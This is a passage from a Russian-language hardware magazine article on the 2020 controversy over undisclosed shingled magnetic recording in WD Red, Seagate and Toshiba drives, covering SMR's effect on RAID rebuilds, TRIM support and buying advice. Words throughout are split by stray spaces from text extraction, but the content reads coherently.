Recording — черепич ная запись) и о том, какие имен но пробл емы воз ника ют
из‐за это го в рамк ах масс ивов. Из‐за хорошо извест ных осо бен ностей тех‐
нологии исполь зование дис ков с SMR сов мес тно с «обыч ными» диск ами
(CMR, Conventional Magnetic Recording) при водил о к дег радации мас сивов
и выпаден ию из них дис ков с SMR. Более того, восс та новить такие мас сивы
оказ ывал ось невозм ожно из‐за пос тоянн ых пов торных выпаде ний диск а
с SMR.
Это исслед ова ние не было пер вым, втор ым и даже десятым звон очк ом.
Вопр осом «не SMR ли это?» польз овате ли начали задавать ся уже дав но. Нап‐
ример, в вет ке обсужден ия на Reddit «WD Red 6tb WD60EFAX SMR? Bad for
Existing raid in DS918+ with WD Red 6tb WD60EFRX PMR drives?» уже обсужда‐
лась эта проб лема. При желании на том же Reddit мож но най ти нес кольк о
десят ков подоб ных обсужде ний.
Все было бы неп лохо, если бы прои звод итель упо минал об этой особ ен‐
ности. И даже тер пимо, если бы прои зво дитель прос то отве тил «да» на пря‐
мой воп рос: использ ует ся ли в модели Х техн ология SMR? Увы, но единс твен‐
ный ответ, который получал и польз овате ли, был таков: «Мы не разг лаш аем
осо бен ности внут реннег о фун кцио нир ова ния наших диск ов конеч ным пот‐
ребите лям». Вот цитата отве та из тех поддерж ки:
I understand your concern regarding the PMR and SMR specifications
of your WD Red drive.
Please be informed that the information about the drive is whether use
Perpendicular Magnetic Recording (PMR) or Shingled Magnetic Recording
(SMR), is not something that we typically provide to our customers. I am
sorry for the inconvenience caused to you.
What I can tell you that the most products shipping today are Conven-
tional Recording (PMR). We began shipping SMR (Shingled Magnetic
Recording) at the start of 2017. For more information please refer the link
mentioned below.
Вот друг ой вари ант отве та — то же самое, дру гими сло вами.
We have received your inquiry whether internal WD Red drive WD40EFAX
would use SMR technology. I will do my best here to assist and please ac-
cept our sincere apologies for the late reply.
Please note that information on which of our drives use PMR or SMR
is not public and is not something that we typically provide to our cus-
tomers. What we can tell you is that most WD products shipping today are
Conventional Recording (PMR) — please see additional information below.
However, we began shipping SMR (Shingled Magnetic Recording) at the
start of 2017.
Ист очник
Вольн ый перевод: «Обра щаем ваше вни мание, что информац ия об исполь‐
зовании PMR и SMR не являе тся пуб лично дост упной и не разг ла шает ся
нашим кли ентам. Одна ко могу сказ ать, что больш ая часть пос тавля емых WD
про дукт ов исполь зует CMR; ниже — дополн итель ная информа ция. Тем
не менее в начале 2017 года мы начали отгру жать диск и с SMR».
Прим ерн о такой ответ получил Крис тиан Франк е. Крист иан на этом
не остан овил ся, получив в резуль тате такой ответ:
Just a quick note. The only SMR drive that Western Digital will have in pro-
duction is our 20TB hard enterprise hard drives and even these will not
be rolled out into the channel.
All of our current range of hard drives are based on CMR Conventional
Magnetic Recording.
With SMR Western Digital would make it very clear as that format
of hard drive requires a lot of technological tweaks in customer systems.
With regards,
Yemi Elegunde
Enterprise & Channel Sales Manager UK
Western Digital®
WDC UK, a Western Digital company
В ответ е утвер жда ется, что единс твенн ый диск WD с SMR — это накопи тель
на 20 Тбайт, пред назнач ен ный для дата‐цент ров. По утверж де нию пред ста‐
вител я WD, все остальн ые дис ки WD исполь зуют CMR.
Дальн ейшие попыт ки добитьс я хоть какой‐то внят ной информац ии при‐
вели к пред ложению «обсуд ить проб лему с инже нера ми и спе циалист ами
по жест ким дис кам в телекон ференц ии». Телекон ференц ия, впро чем, так и не
сост оялась. Польз овате ли обра тились к журн алис там.
14 апрел я
Итак, Крист иан написал журн алис там спец иализ иро ван ного изда ния Blocks &
Files. Журн алист ы разоб рались в пробл еме и выпуст или статью Western Digital
admits 2TB‐6TB WD Red NAS drives use shingled magnetic recording.
По чему SMR в пред назнач енн ых для NAS диск ах — это проб лема?
В статье при водит ся неск оль ко при меров. В част ност и, поль зовател и,
которые заменя ли вышедш ие из строя диск и WD Red 6TB на новые модели
WD60EFAX, получа ли атип ичн о дли тель ное вре мя перест ро ения масс ивов
SHR 1 и RAID 5 (от двух до восьм и дней). У некото рых польз овате лей перес‐
тро ение и вов се завер шалось с ошибк ой: новый диск поп росту исключ алс я
из мас сива как неисп равн ый. Очев идн о, что новые диск и работа ют в разы
хуже в сравн ении с пре дыдущ ей моделью, а в некотор ых случ аях не выпол‐
няют заявл енную задачу вов се. Обман пот ребите ля в пол ный рост — но пред‐
ста вител и Western Digital до сего дня отка зывал ись как‐либо ком менти ровать
ситуа цию.
И вот впер вые жур налист ам уда лось получить от Western Digital внят ный
и конк рет ный ответ: «Акту аль ные модели WD Red 2–6 Tбайт комп ании Western
Digital использ уют drive‐managed SMR (DMSMR). Дис ки WD Red 8–14 Tбайт
осно ваны на CMR. <…> Вы прав ы в том, что мы не ука зыва ем техн ологию
записи в документ ации на дис ки WD Red. <…> При тест ирован ии дис ков WD
Red мы не обнар ужил и пробл ем с перес тро ением RAID из‐за техн ологии
SMR».
В свое оправдан ие WD прив одит сле дующий аргу мент: «В типич ной сред е
домаш них NAS и NAS для малого биз неса типичн ые нагр узки скачк ообр азны,
это оставляе т дост аточ но вре мени для сбор а мусора и дру гих серв исных опе‐
раций». Журн алист ы из Blocks & Files возр азили, что далеко не все нагр узки
в рам ках сетевых хра нилищ «типичн ы» с точ ки зрен ия про извод ите ля. Скан‐
дал про дол жал раз виватьс я.
15 апрел я
Статья попала в точк у: у мно гих поль зовател ей, что называ ется, наболел о.
Выз ванная в Сети вол на пуб ликаций по сле дам ориг иналь ной статьи побуди‐
ла Blocks & Files про дол жить расс ле дова ние.
В статье Shingled hard drives have non‐shingled zones for caching writes рас‐
ска зывае тся о «лент очной» орган изац ии черепич ного хран или ща, как и о том,
что у кажд ого SMR‐накопи теля есть буфер, исполь зующий класс ичес кую
запись CMR. Здесь пря мая ана логия с совр емен ными накопи телям и SSD:
есть медл енная TLC или даже QLC NAND, но часть ее использ ует ся
для буфери зации записей в качест ве псев до‐SLC‐кеша. Так и здесь: в жес‐
тких дис ках с черепич ной записью SMR есть области CMR, исполь зующиеся
для уско рения записи. У польз овател я, который тес тиру ет диск популярн ым
пакетом CrystalDiskMark, воз ника ет иллю зия нор маль нос ти: диск и читае т,
и пишет дан ные без каких‐либо сюр при зов.
Сюр приз обна ружив ает ся тог да, когд а объе м записанн ых данн ых пре‐
выша ет раз мер области CMR или весь диск запол няет ся данн ыми, посл е чего
накопи телю прих одит ся на лету «уплотнять» информац ию. Такие ситу ации
в рамк ах NAS могут возн икать как минимум в двух слу чаях: при перест рое нии
мас сива клас са RAID 5 и подоб ных, в которых использ уют ся кон трольн ые сум‐
мы, и при записи больш ого объ ема данн ых (напр имер, созд ание и сох‐
ранение на диск обыч ной резер вной копии). В таких сце нария х видимая сна‐
ружи ско рость записи падае т в разы, а то и на один‐два порядк а. В моих
собст венн ых тес тах ско рость записи при переза писи запол ненно го накопи‐
теля падала до 1–10 Мбайт/с при записи единст вен ного файл а объ‐
емом 1,5 Тбайт (резер вная копия моей сист емы). Я нахожу такую скор ость
непр ием лемой.
В той же статье автор расс каз ал и о том, что прои схо дит при попыт ке
перест ро ить масс ив RAID 5/6, если новый диск использ ует SMR. Огромное
количес тво опе раций слу чайн ого вво да‐вывода быст ро вызыва ет перепол‐
нение области CMR; кон трол лер не успев ает справ итьс я с нагр узкой, возв ра‐
щая ошиб ку отка за в обслуж ива нии. Спус тя корот кое вре мя (порядк а сорока
минут) диск пол ностью уход ит в себя, а конт ролл ер RAID исклю чает его
из масс ива, помечая как неисп рав ный.
Что инте ресн о, ничего подобн ого не прои сход ит при использ овании дру‐
гих типов мас сивов — RAID 0/1, а так же при соз дании нового масс ива RAID
5/6. Созд ает ся впе чат ление, что разр абот чики Western Digital попр осту
не про верил и новые диск и в сце нарии перес тро ения масс ива RAID 5/6, огра‐
ничив шись прост ейш ими сцен ария ми.
15 апре ля
В оче редн ой статье Seagate ‘submarines’ SMR into 3 Barracuda drives and a
Desktop HDD жур налис ты про дол жили эксп луа ти ровать тему SMR, рас ска зав,
что подоб ной практ икой занимае тся и комп ания Seagate.
Seagate давн о использ ует SMR в свои х накопит елях 2,5", архивных Archive
и дес ктоп ных Barracuda. Ком пания никогд а не скрыв ала эту информа цию.
В то же вре мя диск и Seagate, предн азна чен ные для работы в NAS (линей ки
IronWolf и IronWolf Pro), SMR не использ уют, что, собст вен но, и подт верд ила
ком пания. Таким обра зом, сканд ала не получи лось: покупа тель, который
хотя бы минимальн о инте ресу ется сост оянием дел, всегд а име ет воз‐
можность понять, какой имен но диск он покупае т и для чего. Особ енн ости
SMR опис аны Seagate в техн ичес кой документ ации к соот ветс твую щим
накопи телям; о них мы еще поговор им, пока же верн емся к хрон олог ии.
16 апре ля
На сле дующий день жур налист ы выясн или, что и в некотор ых диск ах Toshiba
так же использ ует ся SMR: Toshiba desktop disk drives have shingles too. Не уве‐
рен, что это кому‐то инте ресн о: доля накопи телей Toshiba в типоразм ере 3,5"
исче зающе мала. Впро чем, ознак омить ся со списк ом моделей диск ов Toshi‐
ba, в которых исполь зует ся SMR, в любом слу чае не помеша ет. На сегод‐
няшний день это 3,5‐дюй мовые диск и Toshiba P300 Desktop PC и DT02 объ‐
емом 4 и 6 Тбайт, а такж е все без исклю чения 2,5‐дюйм овые модели поколе‐
ния MQ04.
20 апре ля
В Western Digital опред елен но нап ряглись и забес покои лись. В статье SMR
in disk drives: PC vendors also need to be transparent опуб ликован офиц иальн ый
ответ Western Digital, в котором комп ания уве ряет, что никаких пробл ем у дис‐
ков на самом деле нет, если их пра вильн о использ овать. Более свеж ую вер‐
сию отве та можн о про честь в бло ге Western Digital. Из тек ста можн о сдел ать
вывод, что перес тро ение масс ивов RAID 5/6 для дис ков серии WD Red —
неп равильн ое использ ование, не надо так делать. И вооб ще, NAS и RAID
соверш енно не экви вален тные понятия, не надо их путать. Если польз ователь
хочет прис пособить диск для NAS в сост аве масс ива RAID 5/6, то пусть берет
что‐нибудь подоро же — нап ример, из линей ки Ultrastar DC, или вот WD Gold,
или хотя бы WD Red Pro. Чест ное слов о, именн о так и написан о: If you are en‐
countering per formance that is not what you expected, please consider our prod‐
ucts designed for intensive workloads. These may include our WD Red Pro or WD
Gold drives, or perhaps an Ultrastar drive. Не буду цитиров ать целиком этот
резуль тат работы депар тамен та Western Digital по связ ям с общес твен‐
ностью, с ним мож но ознак омитьс я по ссыл ке выше.
21 апре ля
Ра зумее тся, основной конк урент — ком пания Seagate не смог ла не прок ом‐
ментир овать ситуа цию. В статье Seagate says Network Attached Storage
and SMR don’t mix пред ста витель комп ании подч ерки вает, что Seagate никог‐
да не использ овала черепичн ую запись в диск ах IronWolf и IronWolf Pro, пред‐
назна чен ных для NAS, и не рекоменд ует исполь зовать диск и с SMR в сетевых
хра нилищ ах.
Впро чем, как мы знае м, Seagate тоже не сообщ ала покупат елям дес ктоп‐
ных дис ков Barracuda о том, что в них использ ует ся черепич ная запись, —
для огромно го количес тва поль зовател ей это стал о неп рият ным сюр приз ом.
23 апрел я
Журн алист ы не смог ли пройт и мимо пост а WD. В статье Western Digital implies
WD Red NAS SMR drive users are responsible for overuse problems задаю тся
впол не резон ные воп росы: а как, собс твенн о, поль зователь может — даже
в теории! — узнать о потенц иальн ых проб лемах, если WD хра нила сам факт
исполь зования SMR в NAS‐накопит елях в сек рете? И если уж вы обвин яете
поль зовател ей в «непр авиль ном» использ овании дис ков, то, пожалуйс та,
опред ели те форм альн о «прав ильн ые» и «непр авильн ые» сцен арии для каж‐
дой кон крет ной модели. Вот в ста ром WD60EFRX, нап ример, перес тро ение
RAID 5/6 было «пра вильн ым» сцен ари ем, а в новой WD60EFAX стал о «неп‐
равиль ным» — с этим можн о жить, но… Но клие нтам об этом сооб щить
забыли, при этом отказ ывая сь отве чать на заданн ые недо уме вающи ми поль‐
зовате лями воп росы.
24 апре ля
В Western Digital сдал ись: ком пания опубл икова ла пол ный спис ок накопи‐
телей в форм‐факт оре 3,5", в которых использ ует ся SMR.
Тех нология черепичн ой записи остае тся в накопит елях WD Red, пред назна‐
ченн ых для NAS, но про извод итель посл е бес прец едент ног о давл ения
общес твенн ости нехотя и с ого вор ками согл асил ся боль ше не устраи вать
из это го сек рета. Теперь ты можешь сдел ать информи рованн ый выбор:
покупать «стар ую» модель WD Red без SMR или «новую» с SMR. Или уйти
к конк урент у, который не исполь зует SMR в накопит елях для NAS вов се.
Или взять напол ненный гели ем диск объ емом от 8 Тбайт.
А пока общест вен ность тор жес твуе т, давай пос мотрим на то, как же
обсто ит дело с дис ками, использ ующи ми техн ологию черепичн ой записи,
можн о ли счит ать их абсол ют ным злом, или в некотор ых сце нария х экон омия
оправдан на.
→Продолжение статьи
ТРЮКИ ← НАЧАЛО СТАТЬИ
СРЫВАЕМ ПОКРОВЫ
ЧЕРЕПИЧНАЯ ЗАПИСЬ SMR В НАКОПИТЕЛЯХ
WD И SEAGATE
РЕАЛИЗАЦИЯ SMR У SEAGATE: ПРИВЫЧНОЕ ЗЛО
Про ще всег о с Seagate. Покупая диск Seagate, ты, скор ее всег о, получишь
модель с черепичн ой записью. На сегод няшний день (ситуа ция может
поменять ся, и очень быс тро) дела в стан е Seagate обстоя т след ующим обра‐
зом.
Ли ней ки Seagate Archive и Barracuda Compute: как прав ило, SMR. Имен но
такие дис ки уста нав ливаю тся во внеш ние накопи тели лине ек Expansion Desk‐
top и Backup Plus Hub емкостью до 8 Тбайт вклю чительн о.
Ли ней ка Barracuda Pro обхо дит ся без SMR. Кста ти, все дис ки Seagate
объе мом от 10 Тбайт так же использ уют обычн ый спос об записи CMR;
это объ ясняе т замет ную раз ницу в цене межд у моделям и внеш них накопи‐
телей Seagate на 8 и 10 Тбайт.
Во всех диск ах для NAS линее к IronWolf и IronWolf Pro исполь зует ся чес тная
перп ендик улярн ая запись (CMR).
Что такое черепичн ая запись? Подр обная иллюс три рованн ая статья
выложе на на сай те Seagate — очень рекоменд ую озна комить ся.
При черепичн ом спо собе записи дорожк и записы вают ся на диск
не парал лель но, а с перехл естом, как черепи цы на кры ше, что поз воля ет
допол нительн о уплотнить запись. Использ ование черепич ного спос оба
записи позв оля ет сэконо мить на про изводст ве, сдел ать диск менее шум ным
и менее тяжелым за счет меньш его количест ва вра щающих ся «бли нов»
и головок чтен ия‐записи.
А что насч ет надеж ности дис ков с SMR? Когд а техн ология толь ко появи‐
лась на рын ке, у польз овате лей были больш ие сом нения отно ситель но дол‐
говрем енн ой надежн ости таких дис ков. На сегодн яшний день можн о кон ста‐
тиро вать, что надеж ность дис ков с SMR при обыч ном использ овании в качес‐
тве архивных накопит елей не ниже надежн ости дис ков с CMR ана логичн ой
емкости, а в отдель ных случ аях может даже пре вышать ее бла года ря упро‐
щению механи чес кой час ти.
Осо бенн ость реали зации SMR у Seagate в том, что дис ки выдерж ива ют
хорошую ско рость записи на про тяже нии пер вого цикл а запол нения диск а.
Но сто ит тебе запол нить диск целиком и начать перезап исы вать дан ные (сце‐
нарий, совер шенно типичн ый для регуляр ных резер вных копий), как ско рость
перезап иси падае т в разы по сравн ению с записью на свеж ий диск. Ситуа ция
чем‐то напомин ает ту, в которой оказ ались про изво дите ли перв ых твер‐
дотельн ых накопи телей SSD: запись в блок прои сход ит быст ро, а для переза‐
писи единс твенн ого бай та тре бует ся счи тать целый (и довольн о крупн ый)
блок данн ых, модифиц иров ать нужн ые дан ные и сохр анить изме ненн ую
информа цию. Так и здесь: для переза писи единст венн ой дорожк и надо сна‐
чала счи тать все пос леду ющие дорож ки, которые вход ят в объе ди ненн ый
блок (лент у), пос ле чего записать нуж ную дорож ку и восс тан овить из буфера
все пос ледую щие.
Вот что име ет на эту тему ска зать прои зво дитель Seagate:
C тех нологие й SMR связ ана сле дующая пробл ема: если нужн о
перезап исать либо обно вить часть информац ии, перепис ать прид етс я
не тольк о треб уемый фраг мент, но и дан ные на пос ледую щих дорож-
ках. Пос кольк у записы вающий элем ент шире неперекр ываю щейс я
области дорож ки, он захв атывае т такж е данн ые на гран ича щих дорож-
ках, а знач ит, потом прид етс я перезап исать и их (рис. 3). Таким обра-
зом, при измен ении данн ых на ниж ней дорож ке нуж но скор ректи-
ровать дан ные на ближ ай шей наложенн ой дорожк е, потом на сле-
дующей и так далее, пока не будет перепи сана вся пласт ина.
Рис. 3. Записыв ающий эле мент перек рыва ет нак ладываю щиеся дорожк и
По этой при чине дорожк и SMR-диск а объе ди нены в небольш ие груп-
пы, называ емые лен тами. Накл адываю тся друг на друг а, соот ветс-
твенн о, тольк о дорожк и в пред елах одной лент ы (рис. 4). Благ одар я
такому групп ирован ию в случ ае обновле ния некотор ых данн ых переза-
писыв ать при детс я не всю пласт ину, а лишь огран ичен ное количест во
дорожек, что сущес твенн о упро щает и ускор яет проц есс.
Рис. 4. Струк тура лен ты на SMR‐диск е
Так ая орга низац ия прив одит к тому, что ско рость переза писи дан ных пада ет
с условных 180 Мбайт/с до 40–50 Мбайт/с. Обой ти пробл ему мож но
попытатьс я, вклю чив для дис ка кеширо вание записи и записыв ая крупн ыми
бло ками, разм ер которых не меньш е разм ера одной лент ы. Так, тес товый
образ ец LaCie 2,5" 4 Tбайт демонст ри ровал ско рость записи на чис тый
накопит ель порядк а 130 Мбайт/с. Пос ле перв ого заполн ения диск а ско рость
записи данн ых упал а до 20–40 Мбайт/с; что харак терно, не помогл о ни фор‐
матиро вание дис ка, ни переразб ивка на разд елы. Еще хуже себя показал
вари ант емкостью 5 Тбайт, скор ость перезап иси данн ых которог о упа ла
ниже 10 Мбайт/с. Част ично исправ ить дело помогл о включ ение кеширо вания
записи и запись данн ых круп ными бло ками; впро чем, даже так пер воначаль‐
ная высокая ско рость записи не вос ста новил ась.
Про иллюс трир ую работу SMR в момент переза писи дан ных. Сра зу ска жу:
уви деть такие циф ры получит ся лишь посл е того, как весь объ ем диск а был
запол нен хотя бы един ож ды, а объ ем записы ваемых в течение одной сес сии
дан ных прев ышае т раз мер буфера CMR (при этом очист ка или перефор‐
матиро вание диск а никак не пов лияют на про извод ительн ость). На перв ом
скрин шоте — запись с отклю чен ным кеширо вани ем записи. Ско рость записи
скач ет от 0 до 10 Мбайт/с. Эта скор ость обнаж ает внут реннюю суть проц ес‐
са. Что про исхо дит: кон трол лер счи тывае т лен ту (блок черепичн ых дорожек)
в буфер, модифиц иру ет одну дорож ку, записыв ает всю лен ту из буфера
на диск. Сле дующая дорож ка — повт орение того же самого. В резуль тате
имее м про цесс, который на Reddit опи сали так: «Мно гие говорят, что SMR —
это медл енно, но мало кто предс тав ляет, нас коль ко медл енно это на самом
деле. Предс тавьт е, что вам нуж но про пих нуть сло на через замочн ую сква‐
жину. Предс та вили? А теперь предс тавь те, что с дру гой стор оны активно соп‐
ротив ляют ся. Вот это и будет запись SMR».
Ско рость перезап иси с отклю ченн ым кешем на запись
На вто ром скринш оте — то же самое, но с включ ен ным кеширо вание м
записи. Теперь в буфер накопи теля попада ет не дорожк а, а вся лент а
целиком (ну, может попадать — факт ичес кий раз мер лент ы и то, как он соот‐
носит ся с раз мером буфера накопит еля, мы не зна ем). Если бы накопит ель
был умным (или хотя бы подд ержи вал Trim, как в WD), то он понял бы, что нуж‐
но переза писать всю лен ту целиком, — и сдел ал бы именн о это. Но нет, он
сно ва чита ет лен ту в буфер, пос ле модифиц ируе т дан ные и записыв ает их
обратно. Ско рость записи в резуль тате ска чет от нуля до мак сималь ной (око‐
ло 100 Мбайт/с в этой час ти диск а).
Ско рость переза писи с вклю чен ным кешем на запись
На скринш отах хорошо вид на одна из пробл ем накопит елей с SMR: чрез‐
вычай но мед ленная перезап ись больш их масс ивов дан ных. Учит ывая, что
такие диск и (на скринш оте — модель Seagate Backup Plus 5TB) час то про‐
дают ся для хра нения резер вных копий, разм ер которых может дост игать
от сотен гигабайт до неск оль ких терабайт, такая про изво дительн ость
на основной (и, по сути, единст вен ной) задаче устройс тва совер шенно неп‐
риемл ема.
А что насч ет ско рост и чте ния? Хорошо извес тная проб лема SMR — низ кая
ско рость позицио ни рова ния головок, связ ан ная с высокой плот ностью рас‐
положен ия дорожек. Соот ветст вен но, случ ай ный дост уп к данн ым, в отли чие
от пос ледоват ельн ого, при про чих равн ых усло виях в моделях с SMR будет
ниже, чем в дис ках без «черепи цы». Но на этом пробл емы не закан чива ются.
В дис ках с SMR без Trim так же, как и в накопит елях SSD, исполь зует ся
механизм тран сля ции адрес ов. Диск стар ает ся записать новую порц ию дан‐
ных сна чала в CMR‐буфер, а когд а он запол нен — в пер вую своб од ную лент у.
Соот ветст вен но, логичес кие адре са тран сли руют ся в физическ ие; при этом
воз ника ет внут ренняя фрагм ента ция дан ных. И если для SSD внут ренняя
фрагм ента ция не игра ет никакой роли, то в слу чае с механи чес кими диск ами
мы получа ем двойн ой удар: файл ы «разм азыва ются» по незаня тым лен там
и при этом ско рость случ айн ого дос тупа низк ая из‐за уве личен ных треб ова‐
ний к точ ности позици они рован ия головк и. В резуль тате при неудач ном сте‐
чении обстоя тельс тв мы получа ем диск, чтен ие данн ых с которог о прев раща‐
ется в пресл овутое про пихи вание сло на через замочн ую сква жину.
Впро чем, модель модели рознь. В упом янут ом выше внеш нем накопи теле
использ ует ся диск Seagate Barracuda 5TB (ST5000LM000), который был
одной из пер вых 2,5‐дюй мовых моделей с SMR. Реали зация черепичн ой
записи в нем сырая до невозм ожнос ти, чем‐то напоми нает поведе ние самых
перв ых SSD, которые момен таль но теряли в ско рос ти записи сра зу пос ле
перв ого запол нения. Мое мнен ие: в таком виде накопит ель нельз я было
выпуск ать на рынок.
А в каком — мож но? Реаль но ли вообщ е сде лать так, чтоб ы дис ками
с SMR поль зоватьс я, не испы тывая замет ных неудобств? Оказ ыва ется, даже
в рам ках тех нологии SMR мож но соз давать впол не неп лохие дис ки (разуме‐
ется, со сво ими огра ничен иями и узким спект ром сцен ари ев использ ования),
если пра виль но сдел ать прогр ам мную часть — про шив ку кон трол лера.
И получи лось это сде лать вперв ые не у Seagate, пионе ра техн ологии, а у
основно го конк урент а — комп ании Western Digital, героя этой статьи.
РЕАЛИЗАЦИЯ SMR ОТ WD: КОМАНДА TRIM, КАК В SSD
На сегод няшний день межд у реали заци ей SMR от Seagate и Western Digital
есть одно, но очень важ ное отлич ие: подд ерж ка накопит елям и WD коман ды
Trim. Использ ование этой команд ы меняе т если не все, то мног ое. Но поз‐
воля ет ли подд ерж ка Trim говорить о том, что накопи тели с SMR можн о
использ овать в рамк ах RAID‐масс ивов? Раз берем ся деталь но.
Перв ые опыт ы Western Digital в отно шении SMR были сугубо секр етны ми:
ком пания до сих пор не призн алась, исполь зовалась ли эта тех нология
в модели WD My Passport объ емом 4 Тбайт. Больш инс тво склон яет ся к тому,
что да: невысо кая ско рость случ ай ной записи и низк ая надеж ность модели
прив ели к законо мер ным подоз рения м. Впро чем, уве ренн ости в этом до сих
пор нет ни у кого, даже у техн ическ и подк ованн ых спец иалис тов AnandTech.
Об использ овании SMR в этой модели упом ина ется вскольз ь как о веро‐
ятности. Что интер ес но, в этой модели парамет ры S.M.A.R.T. дек лариру ют
подд ер жку фун кции Trim, но факт ичес ки ее акти виро вать не удае тся. А вот
в новой модели WD My Passport 5TB (а такж е WD_Black 5TB) функ ция Trim
и декл ариру ется, и под держи вает ся фак тичес ки.
Бла года ря подд ерж ке Trim посл едоват ель ная запись боль шого масс ива
дан ных всегд а выпол няет ся так, как буд то дан ные сох раняю тся на све жий
накопи тель. Вот как выг лядит граф ик про изво дительн ос ти дис ка WD My Pass‐
port 5TB (с подд ер жкой Trim).
Ис точник: https://www.anandtech.com/show/14849/wd‐my‐passport‐5tb‐
das‐review‐a‐compact‐capacity‐play‐sans‐smr‐hassles/3
А вот так — граф ик про извод итель ност и анал огичн ого диск а Seagate (под‐
держ ки Trim нет).
Как видим, у диск а Seagate пер вые десять минут идет запись в буфер CMR,
пос ле чего начина ется бес конечн ый цикл уплотне ния‐перезап иси, из‐за
которо го ско рость записи то падае т до 10 Мбайт/с, то восс та нав лива ется
до макс имальн ой, то снов а падае т. Накопи тель от Western Digital подоб ного
поведе ния не демонст ри ровал.
Как про верить, под держи вает ли дан ный кон крет ный диск команд у Trim?
С одной сто роны, мож но посм отреть показа ния S.M.A.R.T. С друг ой — у меня
есть нес кольк о дис ков, в парамет рах которых под держ ка Trim заяв лена, но по
факт у отсутс твуе т (веро ятно, это осо бенн ости исполь зован ных прои звод ите‐
лем USB‐конт рол леров). Про верить же мож но, запус тив PowerShell с адми‐
нис трат ивн ыми прив илег иями и выпол нив коман ду
$ Optimize‐Volume ‐DriveLetter X: ‐ReTrim
Есл и про цесс оптим иза ции успешно нач нется, то сист ема выпол няет трим‐
минг накопи теля. Если же выдаст ошибк у — знач ит, фун кция Trim не под‐
держив ает ся (кста ти, она не под держи вает ся при исполь зовании любой фай‐
ловой сис темы, кро ме NTFS).
Каз алось бы, при чем здесь Trim — коман да, трад ици онно исполь‐
зующаяся в твер дотель ных накопит елях для упро щения сборк и мусора?
В статье TRIM Command Support for WD External Drives дает ся подр обный
ответ. Сог ласно этой статье, функ ция Trim использ ует ся для опти мизац ии
сбор ки мусора на дис ках WD, использ ующих черепич ный спос об записи.
TRIM/UNMAP подд ержив ает ся для внешн их (И внут ренних, кстат и,
тоже — прим. авт.) жес тких дис ков с тех нологи ей записи SMR
для управле ния табл ицами соот ветс твия адре сов и повышен ия про-
извод ительн ост и SMR с течени ем вре мени. Одним из преи му ществ
(Там так и написа но — прим. авт.) черепичн ой записи являе тся то, что
все физическ ие сект ора записыв ают ся посл едова тельн о в радиа ль ном
напр авлен ии и перезап исыв аютс я тольк о пос ле цикл ическ ого перено-
са. Перезап ись ранее записанн ого логичес кого блок а прив едет
к тому, что пред ыду щая запись будет помече на как недейс тви тельн ая,
и логичес кий блок будет записан в след ующий физичес кий сект ор.
TRIM/UNMAP поз воляе т ОС информир овать накопит ель о том, какие
бло ки более не исполь зуютс я и могут быть вновь исполь зованы жес-
тким дис ком для выполн ения пос леду ющих опе раций записи на пол-
ной скор ос ти.
Что это означ ает на практ ике? Если ты исполь зуешь такой диск в Windows 10
(и диск отформат иро ван в NTFS), то скор ость боль ших мас сивов данн ых
будет остав ать ся высокой независ имо от числ а переза писей. Сист ема авто‐
матич ес ки сообщ ит кон трол леру об осво бож дении адрес ов, которые больш е
не использ уют ся. Соот ветст вен но, ско рость записи будет восс та навл ивать ся
авто матич еск и пос ле уда ления файл а или форм атиро вания диск а — это то,
чего катаст ро фическ и не хва тает накопи телям от Seagate.
Есл и речь идет о диск е фор мата 3,5", то некотор ые NAS (напр имер, про‐
изводст ва Synology) так же опре делят его как накопи тель, под держив ающий
Trim. Ты смо жешь наст рои ть работу Trim по рас писанию.
Пусть тебя не вве дет в заб лужден ие назв ание пунк та SSD Trim: в накопи теле
устан ов лен впол не себе механич еск ий жест кий диск на 6 Тбайт — как раз
из новой серии WD с черепичн ой записью. Впроч ем, у этог о метода есть
и ряд огра ничен ий; в част нос ти, Trim не работа ет в масс ивах RAID 5/6. Ана‐
логичн ые огра ничен ия есть и у дру гих NAS.
А это при водит нас к очев ид ному выводу: даже под дер жка накопит елям и
команд ы Trim не дела ет новые диск и Western Digital с черепич ной записью
SMR при годн ыми для использ ования в сост аве мас сивов RAID 5 и RAID 6 (а
так же, по опы ту поль зовате лей, в сост аве масс ивов SHR 1 и, возм ожно, SHR
2). В сост аве таких масс ивов непр ерывн ая череда мел коблочн ых опер аций
записи быс тро (в течение сорока минут) перена сытит кон трол лер и перепол‐
нит огра ниченн ый буфер CMR.
Нель зя и исполь зовать диск с SMR совм ес тно с класс ическ ими в одном
масс иве: в зависим ост и от нагр узки диск с SMR может замед лить работу все‐
го мас сива и даже прив ест и к его дегр адации, если кон тролл еру покажет ся,
что диск слишк ом дол го не отве чает.
С друг ой сто роны, новые дис ки WD с черепичн ой записью вполн е допус‐
тимо исполь зовать в одно диск овых NAS, а такж е в сост аве мас сивов уров ней
JBOD, RAID 1 или RAID 0 в мно годис ковых сетевых накопит елях, прич ем пос‐
ледние два (RAID 1/0) при усло вии, что все диск и в сост аве масс ива исполь‐
зуют оди нако вую тех нологию записи (толь ко CMR или толь ко SMR).
И разуме ется, дис ки WD с черепичн ой записью отлично работаю т в качес‐
тве архивных. Прав да, до тех пор, пока ты использ уешь их сов мест но с Win‐
dows, а сам накопи тель отформа тиро ван в NTFS. Исполь зование таких дис‐
ков в macOS спо собн о пре под нести неп рият ные сюрп риз ы из‐за осо бен‐
ностей реали зации Trim в ОС от Apple.
При этом исполь зование дис ка SMR с под держ кой коман ды Trim пред‐
почти тельн ее ана логич ного дис ка без под держ ки Trim — обширный спис ок,
в который вхо дят прак тичес ки все «домаш ние» накопит ели Seagate.
СТОИТ ЛИ ПОКУПАТЬ ДИСКИ С SMR
Разн ица в цене межд у напол ненным гелие м накопит елем WD My Book или WD
Elements Desktop 8TB, использ ующим и клас сичес кую запись CMR, и черепич‐
ными Seagate Backup Plus Hub или Seagate Expansion Desktop 8TB на сегод ня
порядк а 10–15 евро. Разн ица в цене меж ду WD Red 6TB с PMR (модель
WD60EFRX) и SMR (WD60EFAX) — исто рическ и те же 10 евро, но на фоне
посл едних публ икаций цен ник на клас сическ ую модель рез ко и необосн ован‐
но взлет ел, догн ав ценн ик на 8‐гигабайт ный накопит ель.
Сто ит ли переп латить за отсутс твие SMR и всегд а ли это воз можно?
В некото рых комп акт ных (2,5") накопит елях емкостью от 2 Тбайт исполь зуют
SMR для того, что бы получить более тон кий корп ус. В комп ак тных диск ах
емкостью в 5 Тбайт SMR использ уют прос то для того, что бы сде лать такую
емкость возм ожной. А вот деск топн ые дис ки емкостью 2, 4, 6 и 8 Тбайт впол‐
не можн о сдел ать и без SMR. Использ ование черепич ной записи поз воля ет
про изво дител ю сэконо мить; часть этой экон омии дост ает ся на долю покупа‐
